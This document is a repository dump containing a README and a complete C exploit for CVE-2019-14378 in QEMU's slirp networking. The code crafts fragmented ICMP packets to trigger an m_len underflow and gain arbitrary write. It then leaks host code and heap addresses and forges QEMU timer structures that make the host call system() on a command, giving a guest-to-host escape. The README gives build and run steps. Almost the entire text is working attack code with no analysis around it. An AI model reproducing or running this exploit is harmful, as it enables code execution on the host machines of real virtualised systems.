├── README.md └── qemu └── CVE-2019-14378 ├── README.md └── exp.c /README.md: -------------------------------------------------------------------------------- 1 | # exploits -------------------------------------------------------------------------------- /qemu/CVE-2019-14378/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-14378 2 | 3 | ```shell 4 | $ sudo ifconfig ens3 mtu 12000 up 5 | $ gcc -o exp exp.c 6 | $ sudo ./exp 7 | ``` 8 | 9 | -------------------------------------------------------------------------------- /qemu/CVE-2019-14378/exp.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | 20 | #define die(x) do { \ 21 | perror(x); \ 22 | exit(EXIT_FAILURE); \ 23 | }while(0); 24 | 25 | // * * * * * * * * * * * * * * * Constans * * * * * * * * * * * * * * * * * * 26 | 27 | #define SRC_ADDR "10.0.2.15" 28 | #define DST_ADDR "10.0.2.2" 29 | 30 | #define INTERFACE "ens3" 31 | 32 | #define ETH_HDRLEN 14 // Ethernet header length 33 | #define IP4_HDRLEN 20 // IPv4 header length 34 | #define ICMP_HDRLEN 8 // ICMP header length for echo request, excludes data 35 | #define MIN_MTU 12000 36 | 37 | // * * * * * * * * * * * * * * * QEMU Symbol offset * * * * * * * * * * * * * * * * * * 38 | 39 | #define SYSTEM_PLT 0x029b290 40 | #define QEMU_CLOCK 0x10e8200 41 | #define QEMU_TIMER_NOTIFY_CB 0x2f4bff 42 | #define MAIN_LOOP_TLG 0x10e81e0 43 | #define CPU_UPDATE_STATE 0x488190 44 | 45 | // Some place in bss which is not used to craft fake stucts 46 | #define FAKE_STRUCT 0xf43360 47 | 48 | // * * * * * * * * * * * * * * * QEMU Structs * * * * * * * * * * * * * * * * * * 49 | 50 | struct mbuf { 51 | struct mbuf *m_next; /* Linked list of mbufs */ 52 | struct mbuf *m_prev; 53 | struct mbuf *m_nextpkt; /* Next packet in queue/record */ 54 | struct mbuf *m_prevpkt; /* Flags aren't used in the output queue */ 55 | int m_flags; /* Misc flags */ 56 | 57 | int m_size; /* Size of mbuf, from m_dat or m_ext */ 58 | struct socket *m_so; 59 | 60 | char * m_data; /* Current location of data */ 61 | int m_len; /* Amount of data in this mbuf, from m_data */ 62 | 63 | void *slirp; 64 | char resolution_requested; 65 | u_int64_t expiration_date; 66 | char *m_ext; 67 | /* start of dynamic buffer area, must be last element */ 68 | char * m_dat; 69 | }; 70 | 71 | 72 | struct QEMUTimer { 73 | int64_t expire_time; /* in nanoseconds */ 74 | void *timer_list; 75 | void *cb; 76 | void *opaque; 77 | void *next; 78 | int scale; 79 | }; 80 | 81 | 82 | struct QEMUTimerList { 83 | void * clock; 84 | char active_timers_lock[0x38]; 85 | struct QEMUTimer *active_timers; 86 | struct QEMUTimerList *le_next; /* next element */ \ 87 | struct QEMUTimerList **le_prev; /* address of previous next element */ \ 88 | void *notify_cb; 89 | void *notify_opaque; 90 | 91 | /* lightweight method to mark the end of timerlist's running */ 92 | size_t timers_done_ev; 93 | }; 94 | 95 | 96 | 97 | // * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * * 98 | 99 | int raw_socket; 100 | int recv_socket; 101 | int spray_id; 102 | int idx; 103 | char mac[6]; 104 | 105 | void * code_leak; 106 | void * heap_leak; 107 | 108 | void *Malloc(size_t size) { 109 | void * ptr = calloc(size,1); 110 | if (!ptr) { 111 | die("malloc() failed to allocate"); 112 | } 113 | return ptr; 114 | } 115 | 116 | unsigned short in_cksum(unsigned short *ptr,int nbytes) { 117 | 118 | register long sum; /* assumes long == 32 bits */ 119 | u_short oddbyte; 120 | register u_short answer; /* assumes u_short == 16 bits */ 121 | 122 | /* 123 | * Our algorithm is simple, using a 32-bit accumulator (sum), 124 | * we add sequential 16-bit words to it, and at the end, fold back 125 | * all the carry bits from the top 16 bits into the lower 16 bits. 126 | */ 127 | 128 | sum = 0; 129 | while (nbytes > 1) { 130 | sum += *ptr++; 131 | nbytes -= 2; 132 | } 133 | 134 | /* mop up an odd byte, if necessary */ 135 | if (nbytes == 1) { 136 | oddbyte = 0; /* make sure top half is zero */ 137 | *((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */ 138 | sum += oddbyte; 139 | } 140 | 141 | /* 142 | * Add back carry outs from top 16 bits to low 16 bits. 143 | */ 144 | 145 | sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */ 146 | sum += (sum >> 16); /* add carry */ 147 | answer = ~sum; /* ones-complement, then truncate to 16 bits */ 148 | return(answer); 149 | } 150 | 151 | void hex_dump(char *desc, void *addr, int len) 152 | { 153 | int i; 154 | unsigned char buff[17]; 155 | unsigned char *pc = (unsigned char*)addr; 156 | if (desc != NULL) 157 | printf ("%s:\n", desc); 158 | for (i = 0; i < len; i++) { 159 | if ((i % 16) == 0) { 160 | if (i != 0) 161 | printf(" %s\n", buff); 162 | printf(" %04x ", i); 163 | } 164 | printf(" %02x", pc[i]); 165 | if ((pc[i] < 0x20) || (pc[i] > 0x7e)) { 166 | buff[i % 16] = '.'; 167 | } else { 168 | buff[i % 16] = pc[i]; 169 | } 170 | buff[(i % 16) + 1] = '\0'; 171 | } 172 | while ((i % 16) != 0) { 173 | printf(" "); 174 | i++; 175 | } 176 | printf(" %s\n", buff); 177 | } 178 | 179 | char * ethernet_header(char * eth_hdr){ 180 | 181 | /* src MAC : 52:54:00:12:34:56 */ 182 | memcpy(ð_hdr[6],mac,6); 183 | 184 | // Next is ethernet type code (ETH_P_IP for IPv4). 185 | // http://www.iana.org/assignments/ethernet-numbers 186 | eth_hdr[12] = ETH_P_IP / 256; 187 | eth_hdr[13] = ETH_P_IP % 256; 188 | return eth_hdr; 189 | } 190 | 191 | void ip_header(struct iphdr * ip ,u_int32_t src_addr,u_int32_t dst_addr,u_int16_t payload_len, 192 | u_int8_t protocol,u_int16_t id,uint16_t frag_off){ 193 | 194 | /* rfc791 */ 195 | ip->ihl = IP4_HDRLEN / sizeof (uint32_t); 196 | ip->version = 4; 197 | ip->tos = 0x0; 198 | ip->tot_len = htons(IP4_HDRLEN + payload_len); 199 | ip->id = htons(id); 200 | ip->ttl = 64; 201 | ip->frag_off = htons(frag_off); 202 | ip->protocol = protocol; 203 | ip->saddr = src_addr; 204 | ip->daddr = dst_addr; 205 | ip->check = in_cksum((unsigned short *)ip,IP4_HDRLEN); 206 | } 207 | 208 | void icmp_header(struct icmphdr *icmp, char *data, size_t size) { 209 | 210 | /* rfc792 */ 211 | icmp->type = ICMP_ECHO; 212 | icmp->code = 0; 213 | icmp->un.echo.id = htons(0); 214 | icmp->un.echo.sequence = htons(0); 215 | if (data) { 216 | char * payload = (char * )icmp+ ICMP_HDRLEN; 217 | memcpy(payload, data, size); 218 | } 219 | 220 | icmp->checksum = in_cksum((unsigned short *)icmp, ICMP_HDRLEN + size); 221 | 222 | } 223 | 224 | void send_pkt(char *frame, u_int32_t frame_length) { 225 | 226 | struct sockaddr_ll sock; 227 | sock.sll_family = AF_PACKET; 228 | sock.sll_ifindex = idx; 229 | sock.sll_halen = 6; 230 | memcpy (sock.sll_addr, mac, 6 * sizeof (uint8_t)); 231 | 232 | if(sendto(raw_socket,frame,frame_length,0x0,(struct sockaddr *)&sock, 233 | sizeof(sock))<0) 234 | die("sendto()"); 235 | } 236 | 237 | void send_ip4(uint32_t id,u_int32_t size,char * data,u_int16_t frag_off) { 238 | 239 | u_int32_t src_addr, dst_addr; 240 | src_addr = inet_addr(SRC_ADDR); 241 | dst_addr = inet_addr(DST_ADDR); 242 | 243 | char * pkt = Malloc(IP_MAXPACKET); 244 | struct iphdr * ip = (struct iphdr * ) (pkt + ETH_HDRLEN); 245 | 246 | ethernet_header(pkt); 247 | u_int16_t payload_len = size; 248 | ip_header(ip,src_addr,dst_addr,payload_len,IPPROTO_ICMP,id,frag_off); 249 | 250 | if(data) { 251 | char * payload = (char *)pkt + ETH_HDRLEN + IP4_HDRLEN; 252 | memcpy(payload, data, payload_len); 253 | } 254 | 255 | u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + payload_len; 256 | send_pkt(pkt,frame_length); 257 | free(pkt); 258 | } 259 | 260 | void send_icmp(uint32_t id,u_int32_t size,char * data,u_int16_t frag_off) { 261 | 262 | char * pkt = Malloc(IP_MAXPACKET); 263 | struct icmphdr * icmp = (struct icmphdr * )(pkt); 264 | 265 | if(!data) 266 | data = Malloc(size); 267 | icmp_header(icmp,data,size); 268 | 269 | u_int32_t len = ICMP_HDRLEN + size; 270 | send_ip4(id,len,pkt,frag_off); 271 | free(pkt); 272 | } 273 | 274 | // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * 275 | 276 | void initialize() { 277 | int sd; 278 | struct ifreq ifr; 279 | char interface[40]; 280 | int mtu; 281 | 282 | srand(time(NULL)); 283 | strcpy (interface, INTERFACE); 284 | 285 | // Submit request for a socket descriptor to look up interface. 286 | if ((sd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { 287 | die("socket() failed to get socket descriptor for using ioctl()"); 288 | } 289 | // Use ioctl() to get interface maximum transmission unit (MTU). 290 | memset (&ifr, 0, sizeof (ifr)); 291 | strcpy (ifr.ifr_name, interface); 292 | if (ioctl (sd, SIOCGIFMTU, &ifr) < 0) { 293 | die("ioctl() failed to get MTU "); 294 | } 295 | mtu = ifr.ifr_mtu; 296 | printf ("MTU of interface %s : %i\n", interface, mtu); 297 | if (mtu < MIN_MTU) { 298 | printf("Run\n$ ip link set dev %s mtu 12000\n",interface); 299 | die(""); 300 | } 301 | 302 | // Use ioctl() to look up interface name and get its MAC address. 303 | memset (&ifr, 0, sizeof (ifr)); 304 | snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface); 305 | if (ioctl (sd, SIOCGIFHWADDR, &ifr) < 0) { 306 | die("ioctl() failed to get source MAC address "); 307 | } 308 | memcpy (mac, ifr.ifr_hwaddr.sa_data, 6 * sizeof (uint8_t)); 309 | printf ("MAC %s :", interface); 310 | for (int i=0; i<5; i++) { 311 | printf ("%02x:", mac[i]); 312 | } 313 | printf ("%02x\n", mac[5]); 314 | 315 | // Use ioctl() to look up interface index which we will use to 316 | // bind socket descriptor sd to specified interface with setsockopt() since 317 | // none of the other arguments of sendto() specify which interface to use. 318 | memset (&ifr, 0, sizeof (ifr)); 319 | snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface); 320 | if (ioctl (sd, SIOCGIFINDEX, &ifr) < 0) { 321 | die("ioctl() failed to find interface "); 322 | } 323 | 324 | close (sd); 325 | printf ("Index for interface %s : %i\n", interface, ifr.ifr_ifindex); 326 | idx = ifr.ifr_ifindex; 327 | 328 | if((raw_socket = socket(PF_PACKET, SOCK_RAW, htons (ETH_P_ALL)))==-1) 329 | die("socket() failed to obtain raw socket"); 330 | 331 | 332 | /* Bind socket to interface index. */ 333 | if (setsockopt (raw_socket, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof (ifr)) < 0) { 334 | die("setsockopt() failed to bind to interface "); 335 | } 336 | 337 | printf("Initialized socket discriptors\n"); 338 | } 339 | 340 | 341 | void spray(uint32_t size, u_int32_t count) { 342 | printf("Spraying 0x%x x ICMP[0x%x]\n",count,size); 343 | int s; 344 | u_int16_t frag_off; 345 | char * data; 346 | 347 | for (int i = 0; i < count; i++) { 348 | send_icmp(spray_id + i,size, NULL, IP_MF); 349 | } 350 | } 351 | 352 | void arbitrary_write(void *addr, size_t addrlen, char *payload, size_t size, 353 | size_t spray_count) { 354 | 355 | spray(0x8, spray_count); 356 | 357 | 358 | size_t id = spray_id + spray_count; 359 | // Target 360 | size_t target_id = id++; 361 | send_ip4(target_id, 0x8, NULL, IP_MF); 362 | 363 | 364 | // Padding 365 | send_ip4(id++, 0x8, NULL, IP_MF); 366 | send_ip4(id++, 0x8, NULL, IP_MF); 367 | 368 | // Piviot Point 369 | size_t hole_1 = id++; 370 | send_ip4(hole_1, 0x8, NULL, IP_MF); 371 | 372 | 373 | // Padding 374 | send_ip4(id++, 0xC30, NULL, IP_MF); 375 | 376 | // For creating hole 377 | size_t hole_2 = id++; 378 | send_ip4(hole_2, 0x8, NULL, IP_MF); 379 | 380 | // To prevent consolidation 381 | send_ip4(id++, 0x8, NULL, IP_MF); 382 | 383 | // This should create the fist hole 384 | send_ip4(hole_1, 0x8, NULL, 0x1); 385 | 386 | // This should create the second hole 387 | send_ip4(hole_2, 0x8, NULL, 0x1); 388 | 389 | int m_data_off = -0x70; 390 | int m_len = m_data_off; 391 | addr = (void *)((size_t)addr + ((m_len * -1) - addrlen)); 392 | if (addrlen != 0x8) { 393 | m_len -= (0x8 - addrlen); 394 | } 395 | 396 | size_t vuln_id = id++; 397 | 398 | char * pkt = Malloc(IP_MAXPACKET); 399 | memset(pkt,0x0,IP_MAXPACKET); 400 | struct iphdr * ip = (struct iphdr * ) (pkt + ETH_HDRLEN); 401 | ethernet_header(pkt); 402 | 403 | u_int16_t pkt_len = 0xc90; 404 | ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,IP_MF); 405 | u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len; 406 | 407 | // The mbuf of this packet will be placed in the second hole and 408 | // m_ext buff will be placed on the first hole, We will write wrt 409 | // to this. 410 | send_pkt(pkt,frame_length); 411 | 412 | memset(pkt,0x0,IP_MAXPACKET); 413 | ip = (struct iphdr * ) (pkt + ETH_HDRLEN); 414 | ethernet_header(pkt); 415 | pkt_len = 0x8; 416 | ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,0x192); 417 | frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len; 418 | 419 | // Trigger the bug to change target's m_len 420 | send_pkt(pkt,frame_length); 421 | 422 | 423 | // Underflow and write, to change m_data 424 | char addr_buf[0x8] = {0}; 425 | if (addrlen != 0x8) { 426 | memcpy(&addr_buf[(0x8-addrlen)],(char *)&addr,addrlen); 427 | } else { 428 | memcpy(addr_buf,(char *)&addr,8); 429 | } 430 | send_ip4(target_id, 0x8, addr_buf, 0x1|IP_MF); 431 | send_ip4(target_id, size, payload, 0x2); 432 | 433 | hex_dump("Writing Payload ", payload, size); 434 | } 435 | 436 | 437 | void recv_leaks(){ 438 | /* Prepare recv sd */ 439 | /* Submit request for a raw socket descriptor to receive packets. */ 440 | int recvsd, fromlen, bytes, status; 441 | struct sockaddr from; 442 | char recv_ether_frame[IP_MAXPACKET]; 443 | struct iphdr *recv_iphdr = (struct iphdr *)(recv_ether_frame + ETH_HDRLEN); 444 | struct icmphdr *recv_icmphdr = 445 | (struct icmphdr *)(recv_ether_frame + ETH_HDRLEN + IP4_HDRLEN); 446 | 447 | for (;;) { 448 | 449 | memset(recv_ether_frame, 0, IP_MAXPACKET * sizeof(uint8_t)); 450 | memset(&from, 0, sizeof(from)); 451 | fromlen = sizeof(from); 452 | if ((bytes = recvfrom(recv_socket, recv_ether_frame, IP_MAXPACKET, 0, 453 | (struct sockaddr *)&from, (socklen_t *)&fromlen)) < 454 | 0) { 455 | status = errno; 456 | // Deal with error conditions first. 457 | if (status == EAGAIN) { // EAGAIN = 11 458 | printf("Time out\n"); 459 | } else if (status == EINTR) { // EINTR = 4 460 | continue; // Something weird happened, but let's keep listening. 461 | } else { 462 | perror("recvfrom() failed "); 463 | exit(EXIT_FAILURE); 464 | } 465 | } // End of error handling conditionals. 466 | 467 | // Check for an IP ethernet frame, carrying ICMP echo reply. If not, ignore 468 | // and keep listening. 469 | if ((((recv_ether_frame[12] << 8) + recv_ether_frame[13]) == ETH_P_IP) && 470 | (recv_iphdr->protocol == IPPROTO_ICMP) && 471 | (recv_icmphdr->type == ICMP_ECHOREPLY) && (recv_icmphdr->code == 0) && 472 | (recv_icmphdr->checksum == 0xffff)) { 473 | hex_dump("Recieved ICMP Replay : ", recv_ether_frame, bytes); 474 | 475 | code_leak = (void *)(*((size_t *)&recv_ether_frame[0x40]) - CPU_UPDATE_STATE); 476 | size_t *ptr = (size_t *)(recv_ether_frame + 0x30); 477 | for (int i = 0; i < (bytes / 0x8); i++) { 478 | if ((ptr[i] & 0x7f0000000000) == 0x7f0000000000) { 479 | heap_leak = (void *)(ptr[i] & 0xffffff000000); 480 | break; 481 | } 482 | } 483 | 484 | printf("Host Code Leak : %p\n", code_leak); 485 | printf("Host Heap Leak : %p\n", heap_leak); 486 | break; 487 | } 488 | } 489 | } 490 | 491 | void leak() { 492 | u_int32_t src_addr, dst_addr; 493 | src_addr = inet_addr(SRC_ADDR); 494 | dst_addr = inet_addr(DST_ADDR); 495 | 496 | /* Crafting Fake ICMP Packet For Leak */ 497 | char * pkt = Malloc(IP_MAXPACKET); 498 | struct iphdr * ip = (struct iphdr * ) (pkt + ETH_HDRLEN); 499 | struct icmphdr * icmp = (struct icmphdr * )(pkt+ETH_HDRLEN+IP4_HDRLEN); 500 | ethernet_header(pkt); 501 | ip_header(ip,src_addr,dst_addr,ICMP_HDRLEN,IPPROTO_ICMP,0xbabe,IP_MF); 502 | 503 | ip->tot_len = ntohs(ip->tot_len) - IP4_HDRLEN; 504 | ip->id = ntohs(ip->id); 505 | ip->frag_off = htons(ip->frag_off); 506 | 507 | icmp_header(icmp,NULL,0x0); 508 | char * data = (char *)icmp + ICMP_HDRLEN + 8; 509 | size_t pkt_len = ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN; 510 | 511 | spray_id = rand() & 0xffff; 512 | arbitrary_write((void * )(0xb00-0x20),3,pkt,pkt_len+4,0x100); 513 | 514 | // This is same as the arbitrary write function 515 | spray_id = rand() & 0xffff; 516 | spray(0x8, 0x20); 517 | size_t id = spray_id + 0x20; 518 | 519 | size_t replay_id = id++; 520 | send_ip4(replay_id, 0x100, NULL, IP_MF); 521 | 522 | // Target 523 | size_t target_id = id++; 524 | send_ip4(target_id, 0x8, NULL, IP_MF); 525 | 526 | 527 | // Padding 528 | send_ip4(id++, 0x8, NULL, IP_MF); 529 | send_ip4(id++, 0x8, NULL, IP_MF); 530 | 531 | // Piviot Point 532 | size_t hole_1 = id++; 533 | send_ip4(hole_1, 0x8, NULL, IP_MF); 534 | 535 | 536 | // Padding 537 | send_ip4(id++, 0xC30, NULL, IP_MF); 538 | 539 | // For creating hole 540 | size_t hole_2 = id++; 541 | send_ip4(hole_2, 0x8, NULL, IP_MF); 542 | 543 | // Prevent Consolidation 544 | send_ip4(id++, 0x8, NULL, IP_MF); 545 | 546 | // This should create the fist hole 547 | send_ip4(hole_1, 0x8, NULL, 0x1); 548 | 549 | // This should create the second hole 550 | send_ip4(hole_2, 0x8, NULL, 0x1); 551 | 552 | // Trigger the bug to change target's m_len 553 | int m_data_off = -0xd50; 554 | int m_len = m_data_off; 555 | size_t * addr = (size_t * )(0xb00 - 0x20 + ETH_HDRLEN + 0xe + 6) ; 556 | size_t addrlen = 0x3; 557 | 558 | if (addrlen != 0x8) { 559 | m_len -= (0x8 - addrlen); 560 | } 561 | 562 | size_t vuln_id = id++; 563 | 564 | memset(pkt,0x0,IP_MAXPACKET); 565 | ip = (struct iphdr * ) (pkt + ETH_HDRLEN); 566 | ethernet_header(pkt); 567 | 568 | pkt_len = 0xc90; 569 | ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,IP_MF); 570 | u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len; 571 | send_pkt(pkt,frame_length); 572 | 573 | 574 | memset(pkt,0x0,IP_MAXPACKET); 575 | ip = (struct iphdr * ) (pkt + ETH_HDRLEN); 576 | ethernet_header(pkt); 577 | pkt_len = 0x8; 578 | ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,0x192); 579 | frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len; 580 | send_pkt(pkt,frame_length); 581 | 582 | 583 | // Underflow and write to change m_data 584 | char addr_buf[0x8] = {0}; 585 | if (addrlen != 0x8) { 586 | memcpy(&addr_buf[(0x8-addrlen)],(char *)&addr,addrlen); 587 | } else { 588 | memcpy(addr_buf,(char *)&addr,8); 589 | } 590 | send_ip4(target_id, 0x8, addr_buf, 0x1); 591 | 592 | if ((recv_socket = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) 593 | die("socket() failed to obtain a receive socket descriptor"); 594 | send_ip4(replay_id, 0x8, NULL, 0x20); 595 | recv_leaks(); 596 | 597 | 598 | char zero[0x28] = {0}; 599 | spray_id = rand() & 0xffff; 600 | printf("Cleaning Heap\n"); 601 | arbitrary_write(heap_leak + (0xb00 - 0x20),3,zero,sizeof(zero),0x20); 602 | } 603 | 604 | 605 | void pwn() { 606 | char payload[0x200] = {0}; 607 | struct QEMUTimerList *tl = (struct QEMUTimerList *)payload; 608 | struct QEMUTimer *ts = 609 | (struct QEMUTimer *)(payload + sizeof(struct QEMUTimerList)); 610 | 611 | char cmd[] = "/usr/bin/gnome-calculator"; 612 | memcpy((void *)(payload + sizeof(struct QEMUTimerList ) \ 613 | +sizeof(struct QEMUTimer )), \ 614 | (void *)cmd,sizeof(cmd)); 615 | 616 | void * fake_timer_list = code_leak + FAKE_STRUCT; 617 | void * fake_timer = fake_timer_list + sizeof(struct QEMUTimerList); 618 | 619 | void *system = code_leak + SYSTEM_PLT; 620 | void *cmd_addr = fake_timer + sizeof(struct QEMUTimer); 621 | /* Fake Timer List */ 622 | tl->clock = (void *)(code_leak + QEMU_CLOCK); 623 | *(size_t *)&tl->active_timers_lock[0x30] = 0x0000000100000000; 624 | tl->active_timers = fake_timer; 625 | tl->le_next = 0x0; 626 | tl->le_prev = 0x0; 627 | tl->notify_cb = code_leak + QEMU_TIMER_NOTIFY_CB; 628 | tl->notify_opaque = 0x0; 629 | tl->timers_done_ev = 0x0000000100000000; 630 | 631 | /*Fake Timer structure*/ 632 | ts->timer_list = fake_timer_list; 633 | ts->cb = system; 634 | ts->opaque = cmd_addr; 635 | ts->scale = 1000000; 636 | ts->expire_time = -1; 637 | 638 | spray_id = rand() & 0xffff; 639 | size_t payload_size = 640 | sizeof(struct QEMUTimerList) + sizeof(struct QEMUTimerList) + sizeof(cmd); 641 | 642 | printf("Writing fake structure : %p\n",fake_timer_list); 643 | arbitrary_write(fake_timer_list,8,payload,payload_size,0x20); 644 | 645 | spray_id = rand() & 0xffff; 646 | void * main_loop_tlg = code_leak + MAIN_LOOP_TLG; 647 | printf("Overwriting main_loop_tlg %p\n",main_loop_tlg); 648 | arbitrary_write(main_loop_tlg,8,(char *)&fake_timer_list,8,0x20); 649 | } 650 | 651 | int main() { 652 | initialize(); 653 | leak(); 654 | pwn(); 655 | return 0; 656 | } 657 | --------------------------------------------------------------------------------